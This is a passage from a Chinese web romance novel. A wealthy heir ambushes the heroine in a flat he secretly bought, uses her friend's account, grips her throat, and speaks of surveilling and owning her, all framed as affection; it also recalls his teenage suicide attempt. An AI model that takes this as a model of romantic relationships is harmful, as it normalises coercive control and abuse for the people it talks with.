挂断电话,林泽在驾驶座悠然感慨:“孟小姐跟父亲的关系真的很好,不像我爸,小时候拿擀面杖把我揍得半死。” 孟纾语安慰地笑了笑,又听对方提起:“小邢很久之前跟我说,如果他也有一个温馨的家庭,说不定就不会变成现在这样了。” 她目光微怔。 林泽说:“邢家有很多孩子,您知道为什么邢老先生只看重他吗?” “因为他能力很强 ?” “这是一方面。主要是邢老先生很早就看出来,邢屹是没有心的。俗话说慈不掌兵,义不经商嘛,像邢屹这种性格,最适合培养成家族继承人。 他从小到大很优秀,光环很多,导致别人以为他是一个特别宽容大度的人,其实不见得,跟他相处久了就会发现,他没有怜悯心,更没有共情力,完全不在乎别人的生死,甚至连自己的生死都不在乎。” 孟纾语欲言又止。 “你的意思是” “他十三岁那年吞过安眠药,洗胃救回来了。后来他食欲就特别差,现在也毫无改变,吃什么都像嚼蜡一样,有一次我跟他一起吃饭,吃到一半连我都没食欲了。” 孟纾语一时哑然。 难怪他每次吃饭都一副无聊透顶的样子,仿佛只是在维持生命体征。 “他自。杀那次,老爷子急坏了,之后就派我接送他上下学,每天记录他的情况。有一次我发现,他在后座拿手机看视频,扬声器里好像传出一个女孩子的声音。” 孟纾语怔愣抬眸,林泽笑着回忆说:“那个女孩子挺有意思,我到现在还记得她在视频里说的话。” 她说,傍晚的天空是一片巨大的吐司,飘在天边的云就是橙子果酱,烤得金黄的吐司蘸满果酱,尝起来一定很甜。 那天,十三岁的邢屹望向车窗外的日落。 林泽偷瞄后视镜,从大少爷眼里瞧出一丝“生活原来挺有意思”的懒散惬意。 或许从那一刻起,他就不想死了。 他想尝一尝蘸满果酱的面包,看看是否像她说的那样甜 太阳已经落山。 孟纾语失神半晌,直到车子停在公寓楼底。 “孟小姐,到了。” “哦,好。” 她心不在焉地下车,林泽帮她拿行李,送她上到二十楼。 一切妥当,两人在电梯口道别。 “谢谢林助。” “不客气,有需要帮忙的就给我打电话。” 林泽离开,孟纾语拖着两个行李箱,停在门前输入密码。 滴一声,门自动打开一条缝。 她默默推开门,把行李箱提进玄关。 安置完毕,她摸索墙上的按钮,打开灯,拿手机给毛婧婧发消息:[我到啦] 对面没有及时回,估计在忙。 她没想那么多,慢步往客厅走,边走边低头划手机,给老孟也发一条消息。 [爸,我搬过来啦] 消息刚刚发送,她在屋子里闻到一丝熟悉的气味。 葡萄柚的香气里掺了一丝辛暖木香。 是她衣服染上的吗? 怎么是邢屹的味道 抬眸望向沙发,她瞳孔一震,手机摔落在地。 邢屹一身简单的白衫黑裤,优哉游哉搭着二郎腿,坐在沙发上翻阅杂志。 其实恭候多时,这会儿却像刚刚看见她一样,顺着她僵立的方向撩起眼皮,牵起一丝坦荡露骨的笑。 “惊喜吗?” 孟纾语心跳加速,后退几步撞到液晶电视。 不对,这事怎么蹊跷,越想越不对劲。 邢屹似乎能一眼看穿她的焦急和疑虑,他拿起手机,指尖点了几下。 紧接着,她落在地上的手机弹出消息。 毛婧婧:[好哦] 孟纾语大惊失色。她好朋友的账号,为什么会在邢屹手里 她后背一凉:“你把我朋友怎么了!” 邢屹拿着手机,竖起的机身抵着腿面转了两圈,漫不经心说:“你不是说,你那位朋友精神状态不好吗。对待一个精神状态很差的人,最好的方式,是帮她安排好签证和机票,让她去她想去的地方散散心。” 孟纾语惊出一身冷汗,好端端的居然把对方送出国了。 说是散心,可她一点也不信。 太阳穴一阵抽痛,她麻木地注视他,声音不由自主地颤抖:“你到底还有多少手段?” “用在你身上的吗?”他歪了歪头,微笑着说,“还有很多,你可以慢慢期待。” 她两眼一黑,浑身的力气仿佛被抽干。 “邢屹,你能不能别这么吓人,你到底要怎样?” “我哪样?” 他起身走过来,她下意识躲闪,却被他控着力道掐住脖子,硬生生摁在墙上,身后的电视机剧烈晃动,她呼吸一滞,心跳震耳欲聋。 邢屹手上的力道逐渐加重,沉嗓:“趁我还没生气之前,我倒要问问你。小语,你到底想怎样。” 第43章 回吻就亲一下 她屏息凝神,半晌才发现自己原来可以呼吸。 邢屹根本没用多大的力。 他手掌绷在她脖子前,手指只是紧紧掐住她下颌两端,虎口压着喉咙的位置,却意外地宽松。 一个令人诧异的事实是,因为站在他面前的人是孟纾语,所以他下手很轻。 也只因为面前的人是孟纾语,他才收敛了力道。 “说话,你到底想怎样。” 他锋利眼神几乎她盯出一个贯穿。 突然就很无力。 她能怎样,她不就是搬个家吗,为什么把她当成一个犯人来审。 差点被他吓出心脏病,孟纾语缓了缓神,下意识轻言细语:“我没想怎么样,我只是害怕你。你突然闯进别人家里,很可怕的好吗?” “这就是我家。”他斩钉截铁,“我们的家。” “?” “你朋友租的房子不是这一套。” “那这里是” “我买的。” “” 难怪不像毛婧婧的风格,她那么爱财如命的人,怎么会把房子租在这么好的地段。 邢屹另只手撩进她衣摆,顺着腰侧拢着掐了一记:“瞒着我一声不响搬出来,再顺理成章跟我玩冷暴力?” 她难捱地溢出声,他又掐一下。 惊恐和无力同时涌现,仿佛无缘无故中了一枪,顿生疲惫感:“不要颠倒黑白好吗,我哪有跟你玩冷暴力,明明是你喜怒无常,而且你现在就有点暴力。” 随口一说,似乎戳到他的点了。 邢屹忽然松手,脸色黑沉沉的,走到小厨房的冰箱前取出一瓶冰水,仰头一口气灌完。 孟纾语心有余悸,捡起地上的手机,在茶几附近蹲成一团,望向他,气鼓鼓说:“我要给我朋友打视频。” 邢屹拧着瓶盖,眼风扫过来:“拦你了吗?” 她噎了一下。 邢屹扔掉矿泉水瓶,盛气凌人地走过来,拿起她的手机,输入一串号码,拨通之后贴到她耳边。 没等她反应过来,两秒就接通:“芜湖!孟孟!国产的卫星通讯好牛啊,在沙漠里都能接到你的电话!” 孟纾语提心吊胆:“你还好吗?” “我很好啊!撒哈拉真的太棒了,但是这儿的骆驼好臭啊,太臭了。臭到我感觉我真的还活着!” “?” “哈哈,没人理解我的精神状态,但是骆驼理解!完美的骆驼,伟大的骆驼!” “”这是进入双相障碍的燥动期了吗,“毛毛,你先冷静一下,我问你几个问题。你是自愿出国旅行的吗,有没有谁逼你?你去之前有没有受伤?” “没有啊!”毛婧婧超级兴奋,“感谢邢大少爷财大气粗,我会好好享受这趟旅行的!拜拜啦孟孟,替我好好谢谢你老公!” “???” 电话挂断,她安心又茫然,缓缓抬眸,正好撞进他漆黑眼里。 心一跳,一个没蹲稳,呆呆跌坐在地上。 邢屹寒津津地坐在茶几上看她,倾身微拱着肩,手臂随意搭在膝盖上,敞开的双腿若即若离 将她圈住,他伸手过来,掀开她肩上的长发,目光落在她脖子上。 她抬头,只见他微微眯起了眼,饶有兴味的样,害她心里没底。 “我这里留印子了吗?” “留了。” 她瞪大了眼,急忙打开手机前置查看。 根本没留。 松了口气,孟纾语坐在原地抱起膝盖,半张脸埋进手臂里,露着两只水雾蒙蒙的眼睛,嘀嘀咕咕控诉:“你一定有什么变态癖好” 邢屹撇过头轻嗤:“我要是变态,你现在还能安然无恙跟我说话?” 她摸摸自己脖子,皱鼻子反驳:“你本来就变态。要是再用力一点我就窒息了。” “不是我太用力,是你太脆。” “?” 有时候觉得自己不该跟他较真,较也较不赢。 可是又学不会他的倨傲无耻和云淡风轻,每次有理有据地反驳他,都会吃他一记轻描淡写的调侃,仿佛一拳打在棉花上。 这人要是活在像素游戏世界,一定是最后一关里怎么打都打不赢的终极boss,恶劣透顶,坏得没边。 坏东西牵过她的手,指腹在她无名指上缓缓摩挲。 “手怎么这么冷。” 不说她还没注意,其实已经冷到有点麻了。 紧接着,双手被他攥住,从衬衫下方伸进去,放在他胸口暖。 掌心贴着他蓬勃心跳,孟纾语颤了颤手指,一时有些恍神,忘了下一秒该说什么,做什么。 邢屹空出一只手触碰她额头,拇指抚过她微颤的眉心,语气轻飘飘又意味深长:“如果你学会用我的方式喜欢我,我就不用这么大费周章。” 用他的方式安监视器,装定位芯片,再想方设法把另一方软禁吗。 这也太疯狂了。 她只能讷讷说:“如果你正常一点,我也不用这么害怕你了。” “怎样才算正常。”邢屹不走心地看着她,语气却有点认真,“你教教我?” 这怎么教呢,他又学不会。 他天生就这么坏,又很强势,不允许事物脱离他的掌控范围。 她每一次想逃离,结果都会被他更狠地抓牢。 细细想来,她似乎已经在无形的笼里了。生活每一条缝隙都被他填满,侵略感简直无孔不入。 说来也怪,彼此之间没有什么经年累积的仇怨,更没有因为陈年仇怨而互相算计的狗血桥段。 但就是互相拉扯着不放。 像被悬置在两处遥遥的对角线端点上,线倾斜一些,两人之间的距离就近一些,线平直一些,两人就僵持着不动。 什么时候才能找到一个平衡点呢。 邢屹说是她先改变了他的人生。 可现在,明明是她的人生被他改变。 孟纾语慢慢抽回被摁在他胸口的手,抱着膝盖埋头沉思,像只担惊受怕的小仓鼠,抬起圆溜溜的杏眼问:“你今晚不走吗?” 刚才为了给她暖手松了几颗扣,邢屹慢条斯理系好衬衫扣子,有点好笑地问:“走什么,我家我还不能住了?” “道理是这个道理,但,”她一鼓作气,“今晚不做。” 邢屹动作一顿,哼笑:“原来你这么想睡我?” “?” 哪有啊? “我好心过来陪你,你却想睡我。”他低头系扣子,故作感慨地摇了摇头,“没想到你的思想这么不纯洁,看来我得小心点,别被你带坏了。” 这人真是! 邢屹起身走远,孟纾语原地瞄准他的背影,对着空气梆梆锤了两拳,气死了。 晚上洗完澡,孟纾语抱着一篮待洗的衣服走到小阳台,捣鼓新的洗衣机。 怎么不进水呢? 她拧了拧入水口的阀门,一股清水哗啦啦顺着管道外侧流下来。 原来是水管没接牢。 她放好篮子,在附近找到一把螺丝刀,回到水阀前弯下半个身子,尝试重新接一次。 不知不觉,脸颊侧后方迎来一道温热呼吸。 “?!” 她囫囵转身,差点被他吓死,“你又神出鬼没!” 邢屹刚洗完澡,身上一件灰色浴袍,腰间随意系了一道绳结,两根系带顺着重力松松懒懒地垂着。 他一手撑在墙上观察水阀,她无缘无故被他圈在身前,邢屹一弯腰,睡袍衣领垂下,腹肌轮廓就暴露在她眼底。 她吞咽一下,收回视线。 他拿过她手里的螺丝刀,她怔了一下,刚反应过来就被他拎到后面站着,只见他直接半跪下来,手法熟稔地处理水管。 孟纾语乖乖猫在一旁,等他开口让她帮一点小忙。 邢屹面无表情拧开接口外侧的金属环,几滴水珠顺着他指骨往下流,湿漉漉的,他不悦地皱了皱眉,出声:“过来,帮我拧一下水阀。” “好。” 她快速起身,上前按着阀门逆时针一拧。 清水张牙舞爪地喷洒,溅了他一身。 孟纾语顿时错愕,连忙拧回去。 水流嘀嗒声起起落落,她心里没底地问:“你刚才不是想让我打开阀门,试一试漏不漏水吗?” 邢屹浑身都湿了,水珠从下颌滴落,顺着胸膛的肌肉轮廓缓缓流淌,没入昏暗深处。 他静了会儿,喉结涌动,抬手抹一把脸上的水,表情欲言又止:“算了,是我没说清楚。” “对不起,我去给你拿毛巾。”她匆忙转身,手腕被他攥住。 “过来,亲我一下。” 听他颐指气使的语气,孟纾语只好折回去。 “你说的,就亲一下。” 邢屹轻挑眉梢,不置可否:“亲了再说。” 她蹲下来,小心翼翼靠近他,在他唇上啄了一记。 刚要走,邢屹摁着她后脑勺重重吻过来。 她就知道! 来不及躲闪,嘴唇已经被他撬开,舌尖直驱而入,挑衅又追逐,猝不及防的湿热滚烫,疯狂勾缠着她,她换气时的呜咽声被他粗重的沉喘吞噬。 氧气变得稀薄,凌乱的接吻声环绕耳畔,几乎有点神志不清,被他托着腰臀抱起来,坐在阳台内侧的狭窄平台上,双腿夹着他的腰,后背贴着安全护栏,邢屹束在她腰上的手臂突然收紧,后背的金属感远离,心跳贴着他胸膛,体温严丝合缝。 她双手搂着他脖子,慢慢掐到他肩上,坚硬结实的触感,在她柔软的指腹下兀自起伏,他仿佛很久没接过吻一样,轻重缓急毫无章法,不像在吻她,而是在吞她,似乎要将她吞吃入腹。 浑身过电,她下意识颤抖,邢屹一只手按着她的腰,撩开衣摆肆意作乱,她低哼一声,他动作就慢下来,手掌拢着她纤薄后背轻轻抚摸,仿佛在检查她最近有没有好好吃饭,到底掉了多少肉,还能不能快点长回来。 他被水溅湿的浴袍衣领贴着她身体,不太舒服,终于,深吻藕断丝连退开一点距离,两份热烘烘的呼吸纠缠着,她耳根滚烫,揪着他肩上的衣料含糊恳求:“邢屹,我想你能不能能不能把衣服脱了?” 他一定知道她是什么意思,却非要借机逗她:“这就想着脱我衣服了?孟小语,你真的好色。” 冤枉死了,但是真的很不舒服,黏糊糊湿漉漉的,她越是正儿八经求他,他就越是使坏,说她对他见色起意,要占他便宜。 “我哪有到底是谁占谁便宜,你真的好气人。”没辙,躲又躲不掉,意识被他吻得轻飘飘,魂都没了一半。 她主动埋进他肩窝,软绵绵地讨饶,“求你了,把衣服脱掉,好不好” 邢屹莫名顿了一下。 不说话。 她以为他没听清,脑袋又在他肩上蹭了蹭。 “好不好” 果然是生理性喜欢。邢屹沉了沉呼吸,一手捏她后颈,似乎想把拎起来,但又没拎,反而摁着她脑袋揉了揉,声音完全哑了,理直气壮说:“不会自己过来扒?” 她哼唧一声:“可是这样的话,显得我像入室抢劫。” 邢屹兀地失笑:“抢啊,看你抢得快,还是我捉得快。” 他把她蹭来蹭去的脑袋拎起来,捏着她下巴,像说几句玩笑话,眼神却幽邃地盯住她:“孟纾语,你是个骗子,小偷。” 她茫然,声若蚊呐:“我怎么了?” 他细数罪状:“说喜欢我,却不跟我结婚,想脱我衣服,又不会主动跟我做。爱。” 可究竟谁才是委屈的那一个?她生着闷气,埋头碎碎念:“你骗我那么多次,你 怎么不给你自己定罪呢,我很害怕的时候,你也还是老样子,你一直在逼我,一点也不讲理,特别坏,特别没礼貌。” 邢屹突然亲她一下,打断她。 他沉声说:“你就不该几年前才认识我。你应该被我养大,所有东西都是我教给你的,你会主动复刻我的一切行为,我怎么喜欢你,你就怎么喜欢我,不管我是好人还是坏人,你只会不顾一切地爱我,甚至我杀了人,你也会在一旁欢呼鼓掌。” 她杏眸圆怔。 邢屹抚过她眼角,指腹擦过她颤动的睫毛,“到那个时候,你连妄想跟我一刀两断的资格都没有。” 那种感觉又来了,他眼底仿佛盘踞了一只野兽,随时会对她张开獠牙。 她心乱如麻地往后退了退,后背又贴回金属围栏。 邢屹抓着她大腿把她拖回。 “你打算跟我接个吻就完了?” “嗯。” 他翻旧账:“弄我一身水,怎么算?” 这话有歧义。 水阀洒开的水而已,从他嘴里说出来怎么就变了颜色。 她好无奈:“都说了给你拿毛巾了,你又不要。” “毛巾有什么用?”他还装起来了,拖着懒腔懒调,“明天要是感冒发烧怎么办,我身体很弱啊。” “??”你要不要听听你在说什么。 她受不了了,催他去换衣服,再洗一次热水澡。 次卧被当成了书房,主卧只有一张一米五的床,她一个人睡刚刚好。 可惜今晚不是她一个人睡。 邢屹洗完澡就覆过来压住她,沉死了,她揪起被子蒙头,“你干嘛压我” 他扒开她被子,埋进她颈侧亲吻,浑得要死:“当然是因为你好压了。” 她呜一声推开他,推了几下他又锲而不舍地挤过来,让人一点办法都没有。 “邢屹你是混蛋吧,走开走开。” “撵我走,之前是谁想脱我衣服?” “这里床太小了,你回家里睡。” 不到百平的房子容不下他这尊矜贵大少爷。 “确定要我回去?”他撑在她身上,捏捏她的脸,嘴角浮起居心叵测的笑,“听说最近有个在逃的连环杀。人犯,就在这一片犯案,那家伙很会撬锁,专挑独居的小姑娘下手——” “啊你别说了!” 她听得头皮发麻,翻个身躲开他,又被他拖进怀里抱着。 温沉呼吸洒在她后颈,他一只手臂给她当枕头垫着,另手环在她腰上。 奇怪,怎么感觉他体温更烫了。 不会真发烧了吧。 不对,他体温一直很烫。 孟纾语打消顾虑,闭眼睡觉。 身后的男人没有作乱,只在她小腹上捏了捏,让她多吃点。 她昏昏沉沉应了一声,肩上滑落的被子不知不觉被人盖好 一夜无梦。 大清早,手机闹铃准时响起,她伸手按掉。 好困,但还是要按时到公司实习。 掀开被子起身,突然被人捞着腰抱了回去。 一个温度惊人的怀抱,孟纾语醒了醒神,登时愣住,回身碰他额头,邢屹浓眉拧起,紧闭着眼闷哼一声,黑茸茸的脑袋埋进她胸前,带点烦躁的起床气,不让她走。 强势凌厉的人发起烧来竟然变本加厉地黏人。 她无可奈何,摸了摸埋在胸前的脑袋,短发有点扎手。 “你发烧了,我打电话给林助,让他送你去医院好不好?” “不好。”闷在胸前的声音沙哑倦怠,他沉沉呼吸,颐指气使说,“你陪我去。” “可是我今天要实习呀,再不走就迟到了。” “请假。要么把你档案调到总部,你给我当秘书。” “?” 手机突然响了,是来电提醒。 简直事赶事,乱作一团,她慌忙伸手去拿手机,不料被他半路阻拦,他整个人压下来抱住她,她被裹在怀里,连屏幕都看不清。 接通之后手机啪嗒掉地,她一个头两个大,很好脾气地推开他:“你先起来好不好?我接个电话,应该是hr找我了。” “接什么电话啊。”邢屹埋在她肩上又拱又亲,“孟小语,你管不管你老公死活?” 倒扣在地上的手机悄无声息。 就在两人吻出动静时,孟明德的声音突然从听筒传出来,带着老父亲专属的严厉。 “孟纾语,刚才谁在说话?什么你老公?” 第44章 回吻又吻又咬 老孟喊她大名了。 孟纾语惊得动作抽帧,连忙捂住邢屹的嘴,捡起手机脱口而出:“爸,没什么,我看电视剧呢。” 可是仓促的呼吸出卖了她。 听筒里顿了顿,沉默时仿佛有一盏审讯灯打在她脸上。 老孟顺着话茬问:“看什么电视剧?” “看那个什么忘记名字了,”她忙转移话题,“对了爸,有什么事吗?怎么这么早给我打电话。” “我刚下飞机,来给你过生日的。”老孟一下又绕回去,“你这么早就看电视剧?” 她佯装镇定:“对呀,提提神。” “这样吗?”老孟意味深长说,“爸还以为你搬进新公寓,床边就莫名其妙多了个男人。” “” “好了乖乖,先不说了,你莱姨让司机来接我了,你忙你的吧。晚上回不回来吃饭?” “回的。那我先起床了,老爸拜拜。” 看准时机挂断。 胸口突然好沉,一不留神,被她推到一旁的男人又埋头压过来。 滚烫的额头蹭在她胸前,本就宽松的睡裙领口被他急躁的动作牵扯,往下移了移,他就着敞露的白皙吻了一记。 心尖蓦地一颤。 高大身形将她完全包裹,两条结实手臂紧锢着她的腰,她几乎被嵌套在他怀里,凭她这点力气根本推不开。 本想在他肩上锤一记,突然想起他是病人,只能好声好气:“邢屹,你先起来,你把我压疼了” 邢屹沉嗓闷哼,撩起漆黑凌厉的眼眸注视她,病恹恹戏谑:“你还真会胡扯。” 坏东西,懂什么叫劫后余生吗。 她心慌意乱推他一下:“你好意思说!差点被我爸发现了。” 邢屹嗤笑一声,往上咬住她耳垂,她过电紧绷,下意识并拢双腿,他单手掰开,劲瘦腰身故意嵌过来,继续吻她。 耳垂一片湿热,她别过脸躲闪,他撩开她耳边发丝又吻又咬,纠缠得气息重重扑过来,顺着耳廓撩热她整片脸颊。 果然坏得没边,烧到嗓子都哑透了还能对她说浑话:“发现又怎样。等你爸点头,你就乖乖跟我去民政局领证。” 孟纾语顿时怔住,仿佛下一秒就会被他顺理成章绑架到民政局。 红本上盖个章,两人就此绑定。 简直五雷轰顶。 “不可能跟你去民政局!你快起来,让林助送你去医院打吊瓶,不可以一直缠着我,我又治不好你的病。” 她费劲一推,邢屹兴致缺缺翻个身,躺到一旁,一手搭在额上挡住窗台透进的阳光,嗓音昏沉倦怠:“我要是死在这儿,你就是最大嫌疑人。” 这句话好 熟悉。不是她说过的吗。 太讨厌了,他怎么连生个病都招人来气,开口就死来死去的。 “发烧又不会死,快起来!” 试图拖他下床,他故意不动,身子骨沉得像铁,她勉强把他拉到床边,拉不动了,她喘口气,他突然一手圈住她的腰往前一带,她冷不丁跌进他怀里。 “谁说发烧不会死,发烧会死啊。”懒散腔调拖泥带水,邢屹把她摁在怀里玩她的头发。 呼吸闷在他胸膛,她呜呜扑腾两下,双手撑住他肋骨坐起来,随手抓起一个枕头软梆梆打他两下:“你不要总是说‘死’啊!” “死死死。”他冷森森瞥她,“说完了,怎么着?” 孟纾语抱着枕头,恍然陷入沉默。 不合时宜地想起,他年少时那场未果的自。杀。 她别过脸:“不许说。以后都不许说死这个字。” 半小时后她就后悔了。要死要死,沉死了! 邢屹整个人压在她身上,手臂勾住她脖子,脑袋埋下来抵住她肩膀,像喝醉了酒一样,要她用力拉扯着才能往前走。 她要喘不过气了,再这么踉跄几下,恐怕要双双跌进小区绿化丛。 她像全力以赴的搬运工,扛着一个比自己体型大好几倍的物件,差点连腰都直不起来,只能紧紧攥住肩上这条胳膊,保持两人平衡。 邢屹借机吻她脸颊:“孟纾语,你行不行啊。平时到底有没有认真锻炼?” 又关她什么事! “坏东西,你好好走路啊。” 他兴师问罪:“什么东西?给你机会再说一遍。” “坏东西!” “哦,好东西。” 他擅自颠倒黑白。 轿车正好停在公寓楼底。 林泽快速下车,刚要过来搭把手,邢屹就跟彻底找回骨头似的,从她肩上直起身子,兀自打开车门坐进后排,一个好脸色都不给人留。 林泽尬了两秒,仿佛觉得自己被孤立了,笑笑对她说:“先送您去公司吧?” 孟纾语累得喘气,摇摇头:“不用了,我打车去。先送邢屹去医院吧,他说他要死了。” “” 车里的人黑沉沉掠来一眼。 林泽很贴心:“好的。” 车子快速驶离。 孟纾语松了口气,抓紧时间前往公司。 车里,林泽看一眼后视镜,斗胆提问:“这次也是装的吗?” 邢屹懒得搭话。 烧得头痛欲裂。 林泽看出他是真的病了,慨叹说:“孟小姐好像很担心你诶。真好,只要她心疼,你就没白烧。” “”邢屹一记冷眼扫射- 孟纾语踩点到工位,气喘吁吁放下包。 一看桌面,竟然堆了很多进口小零食,还有一杯温热的拿铁。 都是周围的同事送的,大家见她来了,个个探着脖子关心她,听说她请了快一个月的病假,这会儿都异口同声问她病好了没。 “已经好啦,谢谢你们。” 孟纾语默默记下同事人数,拿起手机在小程序里预约订单,打算下班的时候请大家吃甜品,感谢这些善意。 她坐下来挑选商品,身边也坐了一个实习生,是个女孩子,对方贴过来耳语:“小孟,大家都好好奇,你真是老总的女儿吗?” 澜帆董事会里的确有个高层姓孟。 而她相貌气质都引人注目,不像普通人家的孩子,同事们自然会多想。 孟纾语微微一怔,一本正经否认:“不是的,我只是迫不得已请长假,私下跟hr商量过了,工资还是扣了一部分的,不是带薪请假。” 认真解释清楚之后,部门里就没人再谣传。 傍晚,她提前处理完工作,赶在打卡下班之前跑出写字楼,从外卖员手里接过一箱打包好的甜品。 差不多半个行李箱这么大,里面额外装了冰袋,沉甸甸的,她暂时把东西放在花园旁的长椅上,先拿手机给骑手点亮一个好评。 正好有新消息弹出。 她给邢屹改了备注。 前所未有的坏东西:[还没下班?] 她站在原地回:[我点了甜品外卖,一会儿拿上去请同事们吃] 前所未有的坏东西:[那么大一箱你一个人搬?] 她突然草木皆兵。 [你又监视我?!] 前所未有的坏东西:[就十米。] 孟纾语环顾一圈,马路对面果然停了一辆熟悉的车。 紧接着,林泽从驾驶位下来,小跑着过了马路,走上前,“孟小姐,我帮您搬吧。” 她来不及婉拒,林泽已经抱起箱子。 两人乘电梯上楼。 金属门开,孟纾语伸手想要接回箱子:“谢谢林助,我自己拿进去就行。” “不不,我一定要帮您拿进去。这是我的绩效之一。” “” 林助,要是被压榨了就劳动仲裁吧。 回到策划部,原本被工作折磨到双眼无神的同事突然齐刷刷抬头。 空气蔓延一丝八卦味,孟纾语有种不详的预感。 林泽走上前,把箱子放在开小会用的长桌上,微笑:“你们好,我来帮孟小姐给大家分甜品。口味很多,请大家自行挑选。” 同事们喜上眉梢,纷纷说谢谢小孟。 大家分批上前,摩拳擦掌跃跃欲拿,孟纾语在一旁分发小叉子,有关系好的同事贴过来,眉眼弯弯借机打探:“小孟,这位是你男朋友呀?” 没等她否认,林泽已经先发制人:“不不,我不是孟小姐的男朋友,请大家不要误会,我只是一名私人助理。” 大家相视而笑,似乎了然于心,但又顺水推舟激起另一层联想。 忽然有人窃窃私语: “怎么好像在哪见过这一位哦!之前的科技峰会!他好像是邢家的特助吧?负责开车接送信昀一把手的人就是他。” “哪个一把手?” “二世祖呗,还能有谁,之前他还来咱这儿开股东大会了,据说上面那帮老头子对他唯命是从,那个讨人厌的李总也是被他调到三亚去的。” “所以,他的助理,现在在给我们发甜品” 孟纾语隐隐约约听见一些关键词。 很难不风声鹤唳。 终于到点下班,分完了甜品,逃离职场里的八卦氛围。 离开写字楼,孟纾语没坐林泽开的车,自己打车回去。 今晚要回颐云公馆吃饭,说好了的。 上了车,她拿出手机,想给老孟和莱姨发消息。 刚点开微信,有人艾特她。 原来林泽帮她分甜品的事已经让同事们捕捉到一丝不同寻常。 大家默默惊诧,好奇得抓耳挠腮,可是有些话不好当面问,大家就派出一位勇士冲锋陷阵,在闲聊群里艾特她。 [小孟,你真的好神秘啊,你是不是邢家哪位三代的未婚妻?] “” 未婚妻。 三个字让她两眼一黑。 果断回复:[不是!] 她倒扣手机,定了定神。 从早到晚,她头顶这根脆弱的天线,接收了好多惊悚的关键词。 先是民政局领证,又是邢家未婚妻。 她不禁想到,今晚大家一起吃饭,万一邢屹又犯病,跟老孟提起他们纠缠至今的事,最后再快进到逼她跟他结婚 不可以,绝对不行。 她还没毕业,结什么婚啊,再说了,邢屹时不时发疯,今后不知道还有多少癫狂的惊喜向她涌来,结婚不就等于彻底被一个疯子锁在掌心了吗。 她可以给他时间慢慢变好,但决不能糊里糊涂闪婚。 一路担忧,出租车停在别墅门口。 她推门下车,与此同时,另一辆车从后方驶来,安然停在门前。 邢屹从后排下来,手里勾着的西服外套往肩上一甩,夕阳映着他烦心倦目的神情,他一手搭着还未关上的车门顶,懒懒瞥她一眼。 孟纾语定在原地看他,别了别肩上的包带,欲言又止:“烧退了吗?” 他眯起眼抵御刺目光线,甩手关上车门:“过来摸摸不就知道了。” “” 两人一前一后走进院门,她在身后提醒说:“一会儿吃饭,你千万不要在我爸面前乱说什么。” “说什么?”邢屹回头扫她一眼,目光嘲弄,“说你认定我不是好人,对我只是生理性喜欢,我俩现阶段只做不谈?” 她噎住。” 总之,你不要胡说八道,更不要当着长辈的面提结婚。我还不想结婚。” 邢屹收回视线,轻挑地撂一句:“我也不是很稀罕。” “” 明天就是孟纾语生日,正好老孟也过来了,大家整整齐齐,邢美莱就抱着露一手的心态亲自下厨。 她和邢屹进到屋里,莱姨还在厨房里忙活。 “都回来啦?等等哈,一会儿才能开饭,饿了就先吃桌上的水果。” “好。”孟纾语放下包,压制住自己的心虚,回身看一眼父亲,“爸,你在干嘛?” 老孟坐在沙发上,用一指禅划手机:“看店铺呢,有回头客留言了,夸我们家茶叶的质量是一等一的好。” “哦,那很好呀。” 她从厨房岛台端一盘车厘子放过去,老孟又问她工作顺不顺心,她说还行。 老孟点点头,转眼看到往树形衣架上挂外套的邢屹。 老孟神情微动,起身:“小屹呀,跟叔叔到院子里聊聊。” 邢屹应声回头,一边稀疏平常地解下腕表,唇角牵起一个不出错的浅笑:“好。我先出去等您。” 孟纾语眉心一紧,顿时警铃大作。 一眨眼,他们已经并排出去了。 好想跟上去。 ——“小语,帮姨递一下调料可以吗?” “来啦。” 失去了宝贵的偷听机会 暮色四合,露天长桌两端,孟明德和邢屹沐着暖灯相对而坐。 邢屹一副好整以暇的斯文样,两手搭在桌上抵着下巴,等待长辈发言。 老孟开门见山:“小屹啊,我听说,你和小语的关系一直不错,所以我想问你有没有发现小语谈恋爱了?” 邢屹若无其事,微笑说:“没发现。” “唔,你再仔细想想?”老孟神情认真,原来根本没有怀疑他,甚至把他当成可靠的线人,“或许他们已经谈了很久,甚至已经到了同居的程度?” “是吗。这我倒不知道。孟叔,如果她谈了,您会怪她?” 老孟轻叹一声:“怎么说呢,我不反对她恋爱,毕竟也成年了,但我就是很担心,万一她被人忽悠怎么办。而且我对未来女婿的要求是很高的,她选的男生,不一定能入我的眼。” 邢屹饶有兴味,挑起一边眉毛:“是吗。孟叔对女婿有哪些要求?” “要求啊,首先要有一套市区里的房吧。” 邢屹眯起眼:“就一套?” 老孟琢磨不出他表情里的深意,顿了顿,进一步打探:“小屹,你是不是真的知道小语在跟谁谈恋爱?” 他说:“知道一点。” “那,那小子是不是连一套房都没有?” “您要求他只有一套的话”邢屹干笑一声,“确实有点强人所难。” 老孟表情凝重。 大小伙子连一套房都没有,那怎么行呢,给孟家倒插门也是有门槛的呀。 又说:“那这个暂且不提。另一个要求是,在谈婚论嫁之前,他至少要有三十万的存款。” 邢屹还是前一秒那副耐人寻味的表情:“您是说,三十万?就三十万?” 老孟凝神后仰,又遭一记重创:“所以那小子连三十万都没有?” 完了完了,女儿恋爱脑了,跟一穷二白的男生恋爱,图啥?那小子长得很帅吗?帅也不能当饭吃啊。 邢屹曲起一只胳膊肘搭在桌上,起伏的拳峰抵住微动的嘴角,笑意不着痕迹:“孟叔,我了解了。有具体情况的话,我第一时间告诉您。” “好好,麻烦你了。” “不客气。” 邢屹礼貌得体地离开,老孟坐在原位沉吟片刻。 奇怪,小屹的声音,似乎在别的地方听过呢 孟纾语急得冷汗都下来了。 终于等到邢屹回来,她趁长辈不注意,快速把他堵在玄关质问:“你到底跟我爸说什么了?” 邢屹勾唇浅笑:“我跟孟叔说,我们在一起很多年了,你特别特别喜欢我,每天都想嫁给我,想跟我领证结婚。” 世界静止。 下一秒,脑海里地动山摇。 孟纾语不顾一切跑到院子里,坐到邢屹刚刚坐的位置,微微喘着气盯着老孟,老孟有点愣:“怎么啦?” “爸,我不结婚!” 老孟眨眨眼,她就又重复一遍,我不结婚! 老孟被她突如其来的严肃吓到。 这是怎么了,难道,她觉得自己谈了穷小子让父亲担心,所以为了不让父亲气到高血压,她打算牺牲自己的爱情? 老孟突然就于心有愧。 女儿还是太听话,太为他人着想了,以至于压抑了她自己内心的渴求。 老孟叹息说:“没事的小语,爸爸还是可以支持你们的。无论对方条件怎么样,只要你喜欢就好,高兴就好,爸一定会支持你们的。” 孟纾语瞳孔地震:“爸!你不要支持!” “没事的,爸支持。” “不要支持!” “唉呀,爸真的支持!” ——“是吗?” 